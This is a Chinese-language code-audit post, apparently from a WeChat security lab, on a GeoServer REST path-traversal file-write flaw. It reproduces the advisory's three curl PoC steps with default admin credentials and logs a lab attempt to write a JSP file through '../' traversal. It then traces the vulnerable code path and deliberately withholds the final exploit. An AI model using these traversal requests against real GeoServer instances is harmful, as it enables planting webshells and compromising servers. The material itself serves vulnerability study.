官网poc分析
https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hq
PoC
Step 1 (create sample coverage store):
curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic"
Step 2 (switch store to absolute URL):
curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite"
Step 3 (upload arbitrary files):
curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write"
Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
准备一个影响范围内的环境
第一步结果
curl -v -u "admin:geoserver" -XPUT -H "Content-type:application/zip" --data-binary @123.zip "http://192.168.72.186:8080/geoserver/rest/workspaces/topp/coveragestores/test1/file.imagemosaic"
* Trying 192.168.72.186:8080...
* Connected to 192.168.72.186 (192.168.72.186) port 8080
* Server auth using Basic with user 'admin'
> PUT /geoserver/rest/workspaces/sf/coveragestores/test1/file.imagemosaic HTTP/1.1
> Host: 192.168.72.186:8080
> Authorization: Basic YWRtaW46Z2Vvc2VydmVy
> User-Agent: curl/8.4.0
> Accept: */*
> Content-type:application/zip
> Content-Length: 314425
>
* We are completely uploaded and fine
< HTTP/1.1 201 Created
< X-Frame-Options: SAMEORIGIN
< Content-Disposition: inline;filename=f.txt
< Content-Type: application/xml
< Transfer-Encoding: chunked
< Server: Jetty(9.4.48.v20220622)
<
<coverageStore>
<name>test1</name>
<type>ImageMosaic</type>
<enabled>true</enabled>
<workspace>
<name>sf</name>
</workspace>
<__default>false</__default>
<dateCreated>2024-04-15 03:22:51.475 UTC</dateCreated>
<disableOnConnFailure>false</disableOnConnFailure>
<url>file:data/sf/test1</url>
</coverageStore>* Connection #0 to host 192.168.72.186 left intact
通过本地环境的目录,我们可以发现在data/sf目录下生成了刚刚上传的test1文件夹
第二步结果
curl -v XPUT -H "Content-Type:application/xml" -u "admin:geoserver" -d "file:///opt/geoserver/data_dir/data/sf/test1" "http://192.168.72.186:8080/geoserver/rest/workspaces/sf/coveragestores/test1"
* Could not resolve host: XPUT
* Closing connection
curl: (6) Could not resolve host: XPUT
* Trying 192.168.72.186:8080...
* Connected to 192.168.72.186 (192.168.72.186) port 8080
* Server auth using Basic with user 'admin'
> POST /geoserver/rest/workspaces/sf/coveragestores/test1 HTTP/1.1
> Host: 192.168.72.186:8080
> Authorization: Basic YWRtaW46Z2Vvc2VydmVy
> User-Agent: curl/8.4.0
> Accept: */*
> Content-Type:application/xml
> Content-Length: 44
>
< HTTP/1.1 405 Method Not Allowed
< X-Frame-Options: SAMEORIGIN
< Allow: GET,PUT,DELETE
< Content-Length: 0
< Server: Jetty(9.4.48.v20220622)
<
* Connection #1 to host 192.168.72.186 left intact
curl -v -H "Content-Type: multipart/form-data" -u "admin:geoserver" --data-binary @1.jsp "http://192.168.72.186:8080/geoserver/rest/workspaces/sf/coveragestores/test1/file.a?filename=../../../../../../../../../../../../../1.jsp
* Trying 192.168.72.186:8080...
* Connected to 192.168.72.186 (192.168.72.186) port 8080
* Server auth using Basic with user 'admin'
> POST /geoserver/rest/workspaces/sf/coveragestores/test1/file.a?filename=../../../../../../../../../../../../../1.jsp HTTP/1.1
> Host: 192.168.72.186:8080
> Authorization: Basic YWRtaW46Z2Vvc2VydmVy
> User-Agent: curl/8.4.0
> Accept: */*
> Content-Type: multipart/form-data
> Content-Length: 105
>
< HTTP/1.1 500 Server Error
< X-Frame-Options: SAMEORIGIN
< Content-Type: text/plain
< Transfer-Encoding: chunked
< Server: Jetty(9.4.48.v20220622)
<
Error while storing uploaded file:* Connection #0 to host 192.168.72.186 left intact
到这一步曾经一度怀疑是`http://192.168.72.186:8080/geoserver/rest/workspaces/sf/coveragestores/test1/file.a?`当中这个a参数的问题,或者是workspaces的类型有权限的限制,多次fuzz之后依然是500的报错结果,于是进行代码审计
org.geoserver.rest.RestException 500 INTERNAL_SERVER_ERROR: Error while storing uploaded file:
at org.geoserver.rest.catalog.AbstractStoreUploadController.handleFileUpload(AbstractStoreUploadController.java:90)
可以看到在最后一步抛出了异常。根据漏洞通告,可以知道这是REST功能导致的任意文件上传,filename即是我们上传的../../../恶意文件,如果file为null,则自动命名为store的名称加format参数,我们传入的filename肯定不是null,于是跟进RESTUtils.handleURLUpload
这个函数
大致意思是判断Content-Type的类型,如果不是zip文件,则执行路径映射
getBaseName,getName这两个对于文件名处理的函数都没看出可疑的点,那么根据调用堆栈继续分析
at org.geoserver.rest.catalog.AbstractStoreUploadController.handleFileUpload(AbstractStoreUploadController.java:90)
at org.geoserver.rest.catalog.CoverageStoreFileController.doFileUpload(CoverageStoreFileController.java:457)
at org.geoserver.rest.catalog.CoverageStoreFileController.coverageStorePost(CoverageStoreFileController.java:120)
在doFileUpload
函数中,可以看到对于directory
(文件目录)的处理逻辑,是RESTUtils.createUploadRoot
函数处理的,继续跟进
if (coverage != null) {
if (workspaceName == null
|| coverage.getWorkspace().getName().equalsIgnoreCase(workspaceName)) {
// If the coverage exists then the associated directory is defined by its URL
String url = coverage.getURL();
String path;
if (url.startsWith("file:")) {
path = URLs.urlToFile(new URL(url)).getPath();
} else {
path = url;
}
directory = Resources.fromPath(path, catalog.getResourceLoader().get(""));
}
}
RESTUtils.createUploadRoot
中的这段代码 解释一下:判断coverage和workspaces是否为空,如果不是那么调用coverage.getURL()函数来获取pathdata/sf/test1
curl -v -u "admin:geoserver" -XPUT -H "Content-type:application/zip" --data-binary @123.zip "http://192.168.72.186:8080/geoserver/rest/workspaces/topp/coveragestores/test1/file.imagemosaic"
* Trying 192.168.72.186:8080...
* Connected to 192.168.72.186 (192.168.72.186) port 8080
* Server auth using Basic with user 'admin'
> PUT /geoserver/rest/workspaces/sf/coveragestores/test1/file.imagemosaic HTTP/1.1
> Host: 192.168.72.186:8080
> Authorization: Basic YWRtaW46Z2Vvc2VydmVy
> User-Agent: curl/8.4.0
> Accept: */*
> Content-type:application/zip
> Content-Length: 314425
>
* We are completely uploaded and fine
< HTTP/1.1 201 Created
< X-Frame-Options: SAMEORIGIN
< Content-Disposition: inline;filename=f.txt
< Content-Type: application/xml
< Transfer-Encoding: chunked
< Server: Jetty(9.4.48.v20220622)
<
<coverageStore>
<name>test1</name>
<type>ImageMosaic</type>
<enabled>true</enabled>
<workspace>
<name>sf</name>
</workspace>
<__default>false</__default>
<dateCreated>2024-04-15 03:22:51.475 UTC</dateCreated>
<disableOnConnFailure>false</disableOnConnFailure>
<url>file:data/sf/test1</url>
</coverageStore>* Connection #0 to host 192.168.72.186 left intact
那么此时的path值就是data/sf/test1
了
再跟进directory = Resources.fromPath(path, catalog.getResourceLoader().get(""));
这个函数
可以看到,当file是绝对路径的时候,return Files.asResource(file)
,是Files类型,跟进asResource,会返回ResourceAdaptor(file)
,而这里正是官方打补丁的地方
我们返回来看500报错的调用栈
directory调用了get方法,其中的itemPath
参数是从我们传入的../../../../xxx.jsp
转换的,最终返回newFile,跟踪这个get方法
继续跟踪path方法
reportInvalidPath
INVALID函数会对..
和.
进行过滤
由于该漏洞可利用资产比较多,防止恶意利用,公众号回复
点个小赞你最好看
原文始发于微信公众号(影域实验室):geoserver代码审计